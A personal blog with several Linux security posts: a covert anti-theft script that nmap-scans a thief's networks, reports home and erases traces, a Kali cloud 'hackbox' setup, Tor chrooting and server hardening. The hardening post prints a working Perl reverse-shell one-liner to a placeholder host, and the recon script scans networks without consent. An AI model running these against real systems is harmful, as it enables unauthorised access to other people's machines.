Making use of Grep, Cut & Sed -- An Anti-Theft Network Recon Script

After watching this video (which, by the way, is hilarious and worth checking out), I decided that I needed to write some kind of anti-theft bash script for my computers. Why bash? No other reason except it's one langauge that I'm confident enough speaking, and like that video, it too, is awesome. The basic scenario that I'd like to prepare for goes something like this:

Your computer gets stolen, and you really want it back. While you know that the computer is running an ssh server, and is listening on 0.0.0.0 for connections, you don't know what it's IP address will be whenever it gets plugged in to the WWW, or what kind of network topology you will have to hack through in order to connect to it. Of course, this logic assumes that the thief is not smart enough to wipe the system before putting it online. It also assumes that he does not have your sudo password, and perhaps even that you have the guest network account enabled, and/or your system boots into single user mode, as to lure the thief into testing out 'his' new computer. None of these assumptions are ideal, but perhaps if the computer that gets stolen exists in a shared computing environment where those conditions must be met, than this script could be helpful.

It's also worth noting that a few things have changed the days when that hacker in the video linked above had his box stolen, most importantly that 99% of all devices connected to the internet these days are behind some kind of firewall. So, there are a lot of variables to consider here...
In any case, let's assume all those conditions have been met, and you are sitting at home pulling you hair out, praying your computer's thief is a total idiot, and waiting for your beloved to phone_HOME()...

So, without spending too much time preparing for a very unlikely scenario, what information would you need in order to get a shell on your box and begin pwning the thief? First and foremost, you need an IP address. Sounds simple enough, but often times computers are not aware of what their public IP address is because they live on a LAN that does NAT to a local IP address. To solve this problem, we need a webserver that uses php to return the visitors IP address to an html page. Than your script can grab that IP with wget or curl, and send it back to you, the owner. This does the trick:

<?PHP
function getUserIP()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    return $ip;
}
$user_ip = getUserIP();
echo $user_ip; // Output IP address
?>

This bit of php does nothing other than output the visiting client's IP address to the webpage in plain text, which is exactly what we need, no more and no less. I spun up a webserver and gave it the domain name ipreturn.tk, feel free to use it if you wish.

$ curl ipreturn.tk
 1.2.3.4

Perfect. Now that we've got the public facing IP of our perpetrators internet connection, perhaps it would be helpful to gather some more information about that host. This is where my all time favorite tool, Nmap, comes in to play:

#!/bin/bash

pubIP=$(curl ipreturn.tk)

pi_RESULTS=$(nmap -sV -A ${pubIP})
echo ${pi_RESULTS}

Parameter expansion is good stuff! Running this script will produce something like this:

Nmap scan report for 1.2.3.4
Host is up (0.063s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
53/tcp open  domain  dnsmasq 2.43rc3
22/tcp open  telnet    an old one

So now you have a little bit more information about your antagonist's internet connection. In this hypothetical example, the assailant has is running some kind of old telnet service, which should not be very difficult to exploit. But, wouldn't it be useful if we knew more about what lies on the other side of the network? To do that, first we need to find a way to grab the IP address from the output of ifconfig and either figure out the netmask as well, or just turn it into a a wildcard address and let nmap handle the rest. Originally, I tried something like this:

WlocIP=$(/sbin/ifconfig wlan0 | grep Mask | cut -d ':' -f2 | cut -d " " -f1)
ElocIP=$(/sbin/ifconfig eth0 | grep Mask | cut -d ':' -f2 | cut -d " " -f1)
ElocSN=$(echo ${ElocIP} | cut -d "." -f -3 | sed 's/$/.*/')
WlocSN=$(echo ${WlocIP} | cut -d "." -f -3 | sed 's/$/.*/')


function wifi_INFO(){
if [[ ${WlocIP} != "" ]]; then

    echo "<h3> Nmap results for wifi IP </h3>"
    echo "<pre>"
    nmap -sV -F ${WlocSN}
    echo "</pre>"
   
else
    echo "Wireless not available."
fi
}

function eth_INFO()}{
if [[ ${ElocIP} != "" ]]; then

    echo "<h3> Nmap results for wifi IP </h3>"
    echo "<pre>"
    nmap -sV -F ${WlocSN}
    echo "</pre>"
   
else
    echo "Ethernet not available."
fi
}

But, there a couple problems with that approach. First of all, it's unlikely that the thief will be connected to both wireless and ethernet at the same time, so that will throw some sort of error. We also can't be sure that the name of the interface will be 'wlan0' or 'eth0', what is he is using his own wireless card or something? To get around that, we need to figure out exactly which NIC devices are online, and than grab the IP's and subnet's from there. For this, we need the help of for-loop magic:

INTFACES=$(/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')
intIPS=$(for i in ${INTFACES}; do /sbin/ifconfig $i | grep Mask | cut -d ':' -f2 | cut -d " " -f1; done)

intSNS=$(for i in ${intIPS}; do echo $i | cut -d "." -f -3 | sed 's/$/.*/'; done)
sn_RESULTS=$(for i in ${intSNS}; do nmap -sV -F $i; done) 

echo ${sn_RESULTS}
192.168.1.*
10.0.0.*

This is much better. First, it grabs a list of all of the network interfaces that are up on the system (excluding the localhost), and stores it as a variable. Than it feeds that variable into the intIPS line, which utilizes some more grep & sed magic to print a list of each interface IP address. Finally, I had figure out a way to turn each IP address into a wildcard mask to feed to nmap (for example, turn 192.168.1.1 into 192.168.1.*). To do that, I had to study the sed manual for a while to figure out how to remove specific unknown characters from a regular expression and than replace them with something else:

for i in ${intIPS};
do echo $i | cut -d "." -f -3 | sed 's/$/.*/' 
done 

And wala, it works! Finally, we feed the list of subnets to scan to nmap, which gives us a lot of useful information about our nemisis's network enviroment:

Starting Nmap ( http://nmap.org )
Nmap scan report for router (10.0.0.1)
Host is up (0.063s latency).
Not shown: 98 closed ports
PORT   STATE SERVICE VERSION
53/tcp open  domain  dnsmasq 2.73rc4
80/tcp open  http    LuCI Lua http config

Starting Nmap ( http://nmap.org )
Nmap scan report for yourcomputer (10.0.0.101)
All ports on 10.0.0.101 are filtered (cause your smart)
Starting Nmap ( http://nmap.org )
Nmap scan report for felix (10.0.0.100)
(The 1640 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        WU-FTPD wu-2.6.1-20
22/tcp   open  ssh        OpenSSH 3.1p1 (protocol 1.99)
53/tcp   open  domain     ISC BIND 9.2.1
79/tcp   open  finger     Linux fingerd
111/tcp  open  rpcbind    2 (rpc #100000)
443/tcp  open  ssl/http   Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
515/tcp  open  printer
631/tcp  open  ipp        CUPS 1.1
953/tcp  open  rndc?
5000/tcp open  ssl/ftp    WU-FTPD wu-2.6.1-20
5001/tcp open  ssl/ssh    OpenSSH 3.1p1 (protocol 1.99)
5002/tcp open  ssl/domain ISC BIND 9.2.1
5003/tcp open  ssl/finger Linux fingerd
6000/tcp open  X11        (access denied)
8000/tcp open  http-proxy Junkbuster webproxy
8080/tcp open  http       Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
8081/tcp open  http       Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev)
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20

Nmap finished: 1 IP address (1 host up) scanned in 42.494 seconds

In this case, the theif has at least one on his network that appears to be very vulnerable (I borrowed this from nmap.org) That will come in useful, but now we need a way to send this information back home. This should also happen silently in the background, and not leave any leftover files when it's done. Originally I thought it may be a good idea to send all the gathered information back home via email, but than I decided against that because email is very insecure. It's possible to encrypt the message with GPG before emailing it, but that has it's own issues too, like you probably don't want your GPG key's password cached in memory permantly if you can help it. The solution I decicided on was to send it over SFTP to a server running SFTP in a chrooted enviroment, protected by an RSA key:

function write_page(){
cat << _EOF_
<html>
<head>
<title>$TITLE</title>
</head>
<body bgcolor="black" text="white">
<h1>$TITLE</h1>
<p>$RIGHT_NOW</p>
<p><b> Local Subnet Scan Results: </b></p>
<pre>
${sn_RESULTS}
${pi_RESULTS}
</pre>
</body>
</html>
_EOF_
}
function phone_HOME(){
cd $workDIR
if [[ ! -f $workDIR/batch ]];then
cat << 'EOF' >> $workDIR/batch
put netenv*.html
EOF
fi
sftp -b batch $sftpUSER@$sftpHOST:/$sftpDIR
}

I figured I may as well have the output be in html format, in case someone did want to use email instead of sftp. To erase evidence of this script, I added the clean_UP function, with will delete the files left in /tmp with secure-delete if it's available, and if not than revert to normal 'rm'. Of course, this should probably also either be ran with the script command, or redirected to /dev/null, as not to leave any telltale error messages in the syslogs, like this:

netrecon > /dev/null 2>&1

So, putting it all together, this is the final script:


#!/bin/bash
#####################################################
# Bash Network Reconnaissance Script * Version 2.0  #                            
# DarkerEgo's Bash Snippets, GPL 2015               #
#####################################################
workDIR="/tmp/netrecon"
sftpUSER="user"
sftpHOST="remoteserver"
sftpDIR="some/directory"
OUTPUT="netenv.$(hostname).$(date +'%d-%m-%y').html"
TITLE="Bash Network Reconnaissance Results"
RIGHT_NOW=$(date +"%x %r %Z")
pubIP=$(curl ipreturn.tk)
#
INTFACES=$(/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')
intIPS=$(for i in ${INTFACES}; do /sbin/ifconfig $i | grep Mask | cut -d ':' -f2 | cut -d " " -f1; done)
intSNS=$(for i in ${intIPS}; do echo $i | cut -d "." -f -3 | sed 's/$/.*/'; done)
sn_RESULTS=$(for i in ${intSNS}; do nmap -sV -F $i; done)
pi_RESULTS=(nmap -sV -A ${pubIP})
#
function prep_VARS(){
if [[ ! -d $workDIR ]];then
mkdir $workDIR
fi
if [[ -f $workDIR/$OUTPUT ]];then
srm $workDIR/$OUTPUT || rm $workDIR/$OUTPUT
fi
touch $workDIR/$OUTPUT
}
function write_page(){
cat << _EOF_
<html>
<head>
<title>$TITLE</title>
</head>
<body bgcolor="black" text="white">
<h1>$TITLE</h1>
<p>$RIGHT_NOW</p>
<p><b> Local Subnet Scan Results: </b></p>
<pre>
${sn_RESULTS}
${pi_RESULTS}
</pre>
</body>
</html>
_EOF_
}
function phone_HOME(){
cd $workDIR
if [[ ! -f $workDIR/batch ]];then
cat << 'EOF' >> $workDIR/batch
put netenv*.html
EOF
fi
sftp -b batch $sftpUSER@$sftpHOST:/$sftpDIR
}
function clean_UP(){
srm $workDIR/$OUTPUT || rm $workDIR/$OUTPUT
srm $workDIR/batch || rm $workDIR/batch
rmdir $workDIR
}
prep_VARS
write_page > $OUTPUT
phone_HOME
clean_UP
exit


And that is as much effort as I am going to put into that! By the way, I uploaded this to github as well, in case you'd like to pull it from there and avoid all those problems that the nasty windows style formatting can cause.

Edit: It might also be a good idea to also add a function that would ssh into your server for a few minutes upon each run, and do some reverse port forwarding so that you'd have a window to grab a shell that way. Or perhaps make it so that if the ip address changes, than the script would wait until the computer is idle for a few minutes, and than connect to your server over ssh, reverse forwarding back to your ssh port. Maybe I'll look into that and figure it out.

That's all for today.

Bash Color Prompts

Last night I saw some old friends that I hadn't seen in years. It was a jolly reunion, and I drank way too much. Consequently, I've got a tad bit of a hangover, thus my brain is not functioning on par. It's also about 90 degrees here in [undeclared], USA today, so nobody feels like doing much of anything. To kill the time, figured I'd create some cool bash color prompts and post them.

This one is easy on the eyes and not too distracting.





export PS1="\[$(tput setaf 7)\]\u\[$(tput setaf 1)\]@\[$(tput setaf 7)\]\h\[$(tput setaf 6)\]:\[$(tput setaf 4)\]\W\[$(tput setaf 5)\]\\$ \[$(tput sgr0)\]"





user@yourbox:~$

But personally I prefer a very minimal colorized prompt, because (like it says in the .bashrc file already), it's distracting and the focus the of terminal ought to be more about the output than the prompt. However, a little itty bit of color never killed anyone:

export PS1="\[$(tput setaf 7)\]\u\[$(tput setaf 7)\]@\[$(tput setaf 7)\]\h\[$(tput setaf 2)\]:\[$(tput setaf 4)\]\W\[$(tput setaf 6)\]\[$(tput setaf 1)\]\\$\[$(tput setaf 6)\]\[$(tput sgr0)\]"

user@yourbox:~$

I think it's a nice touch.

For root accounts, I find it useful to add a bold red prompt to remind myself to not stay logged in as root as any longer than absolutely neccessary. Something like this:

export PS1="\[$(tput bold)\]\[$(tput setaf 7)\]\u\[$(tput setaf 5)\]@\[$(tput setaf 7)\]\h\[$(tput setaf 4)\]:\[$(tput setaf 1)\]\W\[$(tput setaf 1)\]\\$ \[$(tput sgr0)\]"

root@yourbox:~#

Another variation... 

export PS1="\[$(tput bold)\]\[$(tput setaf 7)\]\u\[$(tput setaf 1)\]@\[$(tput setaf 7)\]\h\[$(tput setaf 2)\]:\[$(tput setaf 4)\]\W\[$(tput setaf 6)\][\[$(tput setaf 1)\]\\$\[$(tput setaf 6)\]]\[$(tput sgr0)\]"

root@yourbox:~[#]

Oh yeah, rather than doing all this manually, there is this awesome website that has a bash prompt generator: https://www.kirsle.net/wizards/ps1.html#

Jeeze I've spent an hour doing this already. I guess that's all for today, folks.

Edit: I found the configuration I was looking for! This is much better, because the path is not colored as well, which is just plain annoying... For example..


user@host:~$/etc/default

... is just silly. This is what I was going for:

For user:

export PS1="\u@\h\[$(tput setaf 1)\]:\[$(tput setaf 7)\]\w\[$(tput setaf 2)\]$ \[$(tput sgr0)\]"


 you@yourbox:~$ cd /etc/default
 you@yourbox:/etc/default$

And a nice red prompt for root:

export PS1="\u@\h\w\[\e[36m\]:\[\e[m\]\[\e[31m\]\\$\[\e[m\] "

root@yourbox:#~ cd /etc/default

root@yourbox/etc/default:#
 
Much better.

Do VMs Provide a False Sense of Security?

I think I finally figured out how my computers keep getting hacked. This past year it's happened three or four times, forcing me to completely reinstall my system, and frustrating me to no end because I could not figure out what I was doing wrong, or not doing right. I'd like to think my security practices are pretty good. My friends consider them excessive and totally unnecessary (like when a guest needs the WiFi password and I'm like "ughhhh.... yeah....hold on.")

Until recently I never gave much though to the idea of securing Virtualbox. After all, the main reason I use VM's to begin with is so that I can run an insecure O.S. like Windows securely, inside a contained environment. Than I started playing around with Metasploit, and after a while I started to wonder what would happen if I migrated a meterpreter process to the vbox guest additions process on the guest. What would I be able to do from there? I don't know because I have not actually tried it, but it seems like that would be a good entry point for a hacker to break out of the VM and wreak havoc on the host. I started to think about how the vbox guest additions package works, and what it's capabilities are. It allows the guest machine to access 'shared folders' on the host, allows 'mouse integration', allows the guest to take advantage of the host system's GPU to improve graphics, and a lot of other things.

When you install it inside a VM, Virtualbox does not ask the user of the host computer for permission to access the resources provided. It does warn you that bad things could happen if you install the package, but if you import a VM that already has the guest additions package installed, than you won't even see that warning. So what is to prevent rogue software from interfacing with whatever server interprets commands from that package? Or what prevents a piece of malware present on the guest system from interfacing with the host system through a preinstalled guest additions package? What kind of safegaurds are in place to protect the host during a scenario like that? Virtualbox runs as root, and the program even has the setuid bit enabled by default.

Even without the guest add-ons program, Virtualbox can do a lot of interesting things with the host system, as is. It can create virtual network adapters that will grab their own IP address's from the host systems router, completely bypassing any NAT safeguards present on the host, allowing them direct access to your LAN. If you enable the USB integration feature and set the permissions, than Virtualbox can be configured to interact with any USB device connected to the host. On my computer, the webcam is actually connected through a USB controller, so that could be a scary situation indeed! These are just a couple hypothetical scenarios, but when I put all this together it seriously makes me wonder if Virtualbox is anything close to the safe sandbox for insecure systems that it's perceived to be. Than consider that if you are running Windows in a VM, you probably pirated it, as Windows does not officially support virtualization (afaik).

So what can be done about this pickle? Well, I am a big fan of chrooting untrustworthy software. For example, even though Firefox is an awesome browser, and one of the more secure ones, I still run it in a chroot because otherwise, the browser has access to anything that the user it's running as does. That means a compromised browser=a compromised system. Since client side web exploits are very common these days, I always run my browser in a chroot. I've been doing that a while now, and it's worked quite well, which brings me to the point... From now on I will only run VM's from inside a chroot, on a separate partition, and without the guest additions. A good App Armor policy should be able to prevent malware from talking to Virtualbox through the guest additions server.

If anyone has written or knows of a really good Virtualbox AA policy, please do comment and share it with me. That's all for now.

HackBox in the Cloud

You Never Know When You'll Need It

There's plenty of legit uses for a cloud based hackbox, penetration testing being the most prominent. While a Kali box on your home LAN is great for pentesting the local network, a Kali box in the cloud with a dedicated public IP address is a much more versatile tool. Sometimes it's easier to use the cloud box, even if I am working on the same network as my target due to local firewalls, NAT upstream issues, etc. But being able to ssh into your hackbox from your daily driver, from anywhere, is every bit as comfortable as it is priceless. I also bet many people overlook the security implications of leaving a pentest box like Kali running on your home network 24/7. If someone is able to compromise your home Kali box, you may find the damage will escalate quickly & in stylish fashion as that hacker uses your own tools against you. Yes, that has happened to me...

Building Your VPS -- Use Debian Wheezy!

A couple of posts ago I discussed the perks of taking advantage of the cheap & abundant virtualization available today, and of segregating your systems by task. Today we're going to talk about how to build a little "hackbox in the cloud", so to speak. It will be hosted on a relatively cheap VPS, yet provide most of the functionality of a physical Kali box. The system should be built from the Debian 7 kernel, enabling us to make use of the Kali Linux repositories. This will make your life about 1000x easier. Kali Linux is a straight pentesting distro with more security tools than I care to count, including metasploit, armitage, setoolkit, sqlmap, ettercap, wireshark, etc, blah. It is also completely based on Debian Wheezy, which means that we can turn any Wheezy system into a full blown angle of death with two or three lines of bash.

First you need to purchase a VPS that is running Debian Wheezy. I'd recommend Digital Ocean for this project if you are going to use the hackbox for legal whitehat activities, because D.O. is simply damn convenient & stable. I have never had even 1 second of downtime on any of my D.O. boxes. They also offer free Snapshots; meaning that you can rebuild your box with an image you created earlier when something breaks. This is a priceless feature, especially for this kind of project. The first thing I do after configuring a server is make a snapshot. As for the architecture, it's probably better to go with x64, simply because that allows us to compile both 32 and 64 bit binaries, something that can't effectively be done of a x86 system.

Graphic Desktop Environments

Before you build your VPS, decide whether you will be installing a desktop environment to use over VNC (tunnelled over ssh, of course). If so, than make sure you have at least 2G of ram. You can get away with running Openbox or Metacity on a server with 1G of ram, but you run the risk of program crashes because your system has ran out of memory, which is most inconvenient during a pentest! It will also be very slow once you start the X server. If you don't want a GUI, than 1G of ram will be more than enough. If you cheap out on yourself and go with the 512 MB ram package, than at least configure a large swap file, and do expect random system crashes.

It's also worth noting that tunnelling VNC over SSH can be really slow, especially if you are also behind a VPN or proxy. However, not tunnelling VNC over some type of SSL is like saying "Hey NSA -- Want a free live stream of my desktop?" To mitigate this problem, find a server that is geographically close to you, or tunnel your VNC through a VPN instead of SSH, which can be a lot faster depending on too many factors to list here (blowfish and AES-128 are two fast ciphers for this purpose).

In the end, GUI's on VPS servers kind of suck. I'd recommend doing the things which require a GUI on a local Virtual Machine instead. Besides, GUI's add tons of extra code, which introduces security vulnerabilities and requires a lot of extra precaution to deploy correctly.

Getting to It

After you've configured your sever, set up SSH, got your firewall running, optionally configured sudo, and performed a system update, it's time to add the Kali repositories to your sources.list:

deb http://http.kali.org/kali kali main non-free contrib
deb-src http://http.kali.org/kali kali main non-free contrib
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free

You'll probably get an error about not having the GPG key when you run apt-get update, so add it than try again. You may be to install the package kali-archive-keyring to take care of that, or you may have to manually wget & import the key:

$ wget -q -O - https://www.kali.org/archive-key.asc | gpg --import

You should then check the fingerprint against the one listed on their site. After adding the sources and running an apt-get update && apt-get upgrade (but not an a dist-upgrade because that could break your Kali install) you can turn your Debian server into a near complete Kali system with this command:

 apt-get install kali-linux-full

That will install a lot of packages, and will take between 10 and 20 minutes to complete. If you opted to go with  a headless environment instead, you should probably install the packages you need individually instead, so that you don't end up with a bunch of useless extra code. Programs like metasploit, nmap, sqlmap, and tshark do not require a GUI to function, and can be installed via apt individually.

Metasploit is arguably the most useful program in a pentesters tool chest, so I'll briefly cover setting that up. You can clone it from git or grab it from apt, installation is pretty straightforward regardless of how you install it, but to ensure things go smoothly, I'd recommend doing things in this order:

apt-get -y install nmap metasploit postgresql
service postgresql start
service metasploit start
mfsconsole

Beautiful, isn't it? At this point you're pretty much good to go, but we've got a few more optimizations and tweaks to make. At some point your are going to need to open some ports for metasploit, so it's a good idea to write a 'reset' firewall script that you can later call on demand to close those ports. Normally I'd not recommend using UFW on a server, but because of it's sheer simplicity, and because your hackbox needs to be flexible (and can always be restored to it's original state provided you took a snapshot), UFW is not a bad choice in this situation.Write a quick script to reset the firewall after completing an exploit and save it as /usr/local/bin/firewall so it can be executed from anywhere, something like this:

#!/bin/bash
    # Need root.
    if [[ $EUID -ne 0 ]]; then
       echo "Got root?"
       exit 1
    fi

#First, define your SSH server's listening port:
   sshPORT=
   sshHOST=1.2.3.4
   primINT=eth0
   sshHOST=some.static.ip.addrs

   iptables -t nat -F #flusing iptables does not always reset these chains
   iptables -t mangle -F
   ufw reset

   ufw allow in on $primINT to any port $sshPORT proto tcp from $sshHOST
  ufw enable
  exit


If you want graphical desktop environment, than you need a way to access X. SSH does have native X forwarding, but to be honest, I've never used it. As I mentioned, you can use VNC and tunnel that over ssh. I've been using xtightvncserver, and tightvncviewer on the client side. The experience has not been great, but it works. For example, (unless I just don't know what I'm doing, which is possible) there does not seem to be a way to copy & paste text from or into the VNC window. Also, when I press the \/ arrow key out of habit to scroll through my command history, it does not work whatsoever. The < and > arrows work though... not sure what's with that situation. In any case, this is how you set it up [ Thanks & credit to the source for the excellent tutorial!] :

server$ apt-get update
server$ apt-get upgrade
server$ apt-get dist-upgrade 

(^It's always good to refresh your sources before installing anything.) The default Kali environment runs on gnome-classic, or "Metacity". I first tried doing this with openbox because it's lighter, but I had some configuration problems so I ended up going with good ol' trusty gnome:

server$ apt-get install gnome-desktop-environment 

(Assuming you're going to use tightvncserver: ) 

server$ apt-get install xfonts-100dpi xfonts-100dpi-transcoded xfonts-75dpi xfonts-75dpi-transcoded xfonts-base tightvncserver
 
Stop! Before you start the vncserver, I think it's a really good idea to create a separate user with limited privileges to run it. Anything graphical based tends to induce a lot of security issues, so take precautions. This way if someone manages to brute into your box, at least they will be presented with a somewhat limited shell.

server$ useradd -m limpriv
server$ usermod -s /bin/sh limpriv
server$ passwd limpriv (enter a strong password)
server$ su limpriv

And finally start the server, explicitly telling it to only accept connections from the localhost:

tightvncserver -localhost :1

Or from another account:

sudo su $USER -c '/usr/bin/tightvncserver -localhost :1'

At this point you'll be prompted to create a password to access vnc, so do that. If you want the VNC server to start up everytime you boot your box, create an init script. Here's a sample one to get you started. Now you need to create an ssh key for your limpriv user. I'll assume you know how to do that if you got this far. When you VNC into your box, you will be running as the limpriv user. From there, you can log into your privileged account, and than finally sudo or su to root. This adds a layer of protection, and is probably worth the effort. To start the connection:

client$ ssh -f -N -L 5901:localhost:5901 limpriv@hackbox 
client$ xtightvncviewer localhost:1

After entering your VNC password, a new window will appear with your remote desktop, with that old familiar black Kali desktop. Now you're ready to rock and roll. What you can do from here is only limited by your imagination and IQ level, I suppose. Just do the world a favour and use this gift of open source awesomeness for good rather than evil... You know the drill:

• Think before you type
• Respect other people's privacy
• With great power comes great responsibility

Building a Portable, Chrootable Tor Instance on a Dedicated Development VM

In my last post I talked about various ways of locking down your system to mitigate compromises. One method of securing a system I mentioned is to chroot programs that are running public services. Chrooted programs run in their own little 'sandboxes', or 'jails', which are nothing more than a complete filesystem with everything that the program needs to run inside a directory that is owned by the root user. This limits the programs attack vector because the program and the user it's running as can only access files and directories inside it's environment. If the program is compromised, a chroot should protect the rest of the system from compromised as well.

While the concept is easy enough to understand, the implantation can be a little tricky. Different distributions of Linux, although running 98% of the same software, have different file system structures. It's not exactly difficult to figure out where all those libraries are, but it can be tedious and annoying. That's probably why chroots aren't used as often as they should be. There are some solutions that make the process easier, like using Sandfox. There is also Debootstrap for Debian systems, although I can't speak for it because I have yet to use it. However, sometimes it's better to accomplish something without installing any extra software, especially if the target system is a production server.

As mentioned in my last post, it is a security risk to have compilers on your system. Compilers can make things much easier for attackers to compromise your system. One solution to these issues is to compile all your software in a virtual machine, which is also hosted on a dedicated system. I just love virtual machines. They're very convienient, forgiving, portable, and disposable. If anything ever goes wrong on a VM, you simply restore the system to a snapshot that you (hopefully) made immediatly after installing and configuring the system. So, let's set up a virtual development system to run all of our compiliers on. Then we will compile and create a portable, chrooted instance of Tor, which we can than run on any server that we need.

Ideally, your virtual machines should run on a dedication system. The system does not have to be terribly powerful, so you could probably use one of your old computers that are collecting dust in the closet. For my dedicated box, I chose straight headless Debian. I created a seperate user to run Virtualbox, and also a seperate partition to store and run the virtual machines on, for security. It's best to make sure this partition is of descent size, (at least 50 gigs). It's also good to partition the disc ahead of time rather than relying on the installer to do that for you. Setting up a Debian system and installing vboxheadless is beyond the scope of this post, but there are plenty of resources on the net if you need help with that.

Once you have your system running, secure it with SSH and a firewall. Next, install vboxheadless, and phpvirtualbox if you want a nice graphical interface to manage your VM's. Now you just need to create a new virtual machine and install a Linux distro of your choice on it. It doesn't really matter which distro your go with, but for simplicity's sake I'd recommend Ubuntu Server Edition. However, if your physical system has enough resource, it would be bennificial to install a 64 bit version. You can always compile for 32 bit systems on a 64 bit system, but not the other way around.

Now you need to either follow the directions found here to compile tor in a chroot, or you can use this script that I wrote to do it for you. Note that the script was only tested on an Ubuntu 14.04 i686 system, so your milage may vary on other distros. Also note that every script I've ever gotten off github for this particular task failed when I ran it, so I won't be surprised if mine fails for you as well. The script also actually creates a functional tor chroot, which is not really necessary if you just want to compile it for use on other systems. If you follow the directions on the tor project site, after you verify that your tor chroot works, just run:

sudo cp -R -p $TORCHROOT /tmp/tor-chroot
sudo tar -zcvf ~/tor-chroot.tar.gz /tmp/tor-chroot
And you will have a tar.gz archive that you can simply extract on any Linux server and run. Of course, you will have to add the tor user to that system first

sudo useradd -d /home/tor -s /bin/false tor

After that's done, you can just run this command to start it:

sudo chroot $TORCHROOT /tor/bin/tor

And finally, follow the instructions on the tor site to create an init script if you want. This process could be used to create chroots for other programs as well. One last recommendation, record the sha512sum of the resulting archive and also sign it with your gpg key so that you can later verify it's integrity.

Locking Shit Down

I don't know if it's just me, but it seems like there is an awful lot of funny stuff going on in the cloud as of late. After the Sony hacks, I predicted that 2015 would be a bad year for cyber security. Looks like I was right about that, considering every branch of our federal government was hacked recently. Now, I manage a few servers myself, and I've had my share of compromises too. But the last few months have been utterly ridiculous. I have reinstalled my personal system 4 times since January because I suspected some malware had snuck onboard, and I'm getting really sick of doing that. Today I reinstalled & rebuilt yet another server from scratch, which is a major pain in the ass.

This is the server I'd been running a Kippo SSH honeypot on. I had Kippo running for about a month or so, and from that experience I cannot recommend that anyone run a honeypot on a server that they run other services on. It's just not worth the risk. Yeah, Kippo is relatively secure, and sure it's an emulated shell that is not capable of doing much, but that does not mean it can't be hacked. In the end, (if nothing else), it's just another open port to worry about.

Run Public Services On Separate Systems

This should be obvious, but let's narrow the definition of public. When you have a box running a VPN server, bittorent server, web server, honeypot, and tor relay... well, things can get messy. It is definitively more secure to dedicate a system to a particular task, and manage several smaller systems than it is to run everything on one big powerful box and attempt to lock it all down. In the age of cheap & abundant virtualization, there's no reason not to segregate your servers. My advice is to at least keep the public services (bittorent, web server, tor, etc) on a different server than your personal cloud storage box, or what-have-you. Consider a bittorent client for a moment. It is generally seen as a pretty benign risk service to run (all legal issues aside), and overall, clients like Transmission have stood the test of time. But bittorent clients connect with tens of thousands of different hosts everyday, and all it takes is a few bad packets and a zero day exploit to ruin your day. Torrent clients also seem to be written specifically to evade firewalls, as they work just fine under very strict rules. You don't even need to open a port, the program will figure out a way to connect to the peer, wherever they are. 

Deny Outbound Connections

In this day and age, it's no longer sufficient to keep your firewall's outbound policy to ACCEPT while dropping inbound connections. Why? Imagine you're running a webserver of some sort, and somebody manages to find an exploit that allows them to upload even a one line of rogue php (this happens all of the time). For example, if this manages to be written to a file on your server, and your outbound policy is set to ACCEPT, the attacker will get a shell with whatever privledges the server user has:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.2.3.4:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If your system is not fully up to date, (or even if it is) all it takes is some privelege escalation exploit, or slight misconfiguration of permissions in the serving directory, and you are screwed. By the way, I tested this on a fresh Ubuntu 14.04 server, running apache as it is out of the box, with success. Most Linux systems have Perl installed on them, and removing it is a real pain (too many services depend on perl, and besides, perl is cool!). Denying outbound connections would prevent this from working, and chrooting apache as well would severely limit the attack vector. If you think this is paranoia, try googling something like "inurl:/r00t.php".

For locking down an apache server that is only serving clients to a particular private subnet, you could use something like this:

$IPT -A INPUT -i eth0 -s 10.0.0./24 -d 10.0.0.1 -p tcp -m tcp --dport 80 -j ACCEPT
$IPT -A OUTPUT -o eth0 -s 10.0.0.1 -d  10.0.0./24 -p tcp --sport 80 -j ACCEPT
$IPT -A OUTPUT -o eth0 -m owner --uid-owner www-data -j REJECT
 

Run Everything as a Different User

This should be number one. Considering the example above, when an attacker manages to get a shell on your system, they are limited to the resources running as and owned by that user. If you implement proper access control policies, than even if someone manages to get a shell, they will not be able to access the files and programs that are owned by different users. Our old friend Mr Meterpreter, is a perfect example of how privilege separation could have saved a lot of systems from rape and pillage. When someone manages to get a meterpreter trojan onto your Windows system, it is game over. Your webcam, microphone, 'My Documents' folder, and usually most of your C:\ drive is accessable by you, the user. Yeah, I know that's just how personal computers work, but it's also a good reason to use Linux and lock your shit down. The functionality of Metasploit's meterpreter on a linux machine is much, much more limited than it is on a Windows system, and mostly because of privilege separation,.

Chroot Everything Else

Another priceless tip is to chroot services that are open to the world instead. I don't understand why chrooting is not used more often. A strong chroot combined with a strict firewall should be enough to stop most attackers before they can do any real harm. Chroots are basically 'jails' for programs. A chroot consists of a directory inside a directory that is owned by root, with an entire fake unix filesystem inside that directory. So, for a tor chroot, you'd have for instance '/chroot' owned by root, and than '/chroot/tor' owned by a user with limited privileges and no valid shell. Than you would use the ldd command to figure out which libraries tor depends on to operate, and you'd copy them all into the /chroot/tor/ directory, so you'd have '/chroot/tor/var' and '/chroot/tor/lib', 'chroot/tor/etc', etc... If a hacker manages to break into the chroot, than they can do as much damage as they want to the tor service, but nothing else. That is at least the theory.

Edit: A note on chroots. A chroot can easily be created for most occaisons with the program Sandfox, which is written entirely in bash, so it works on all Linux systems and possibly even mac systems. It's perfect for chrooting Firefox, which will drastically improve your defenses against client side attacks on Desktop systems.

Use a Password Manager

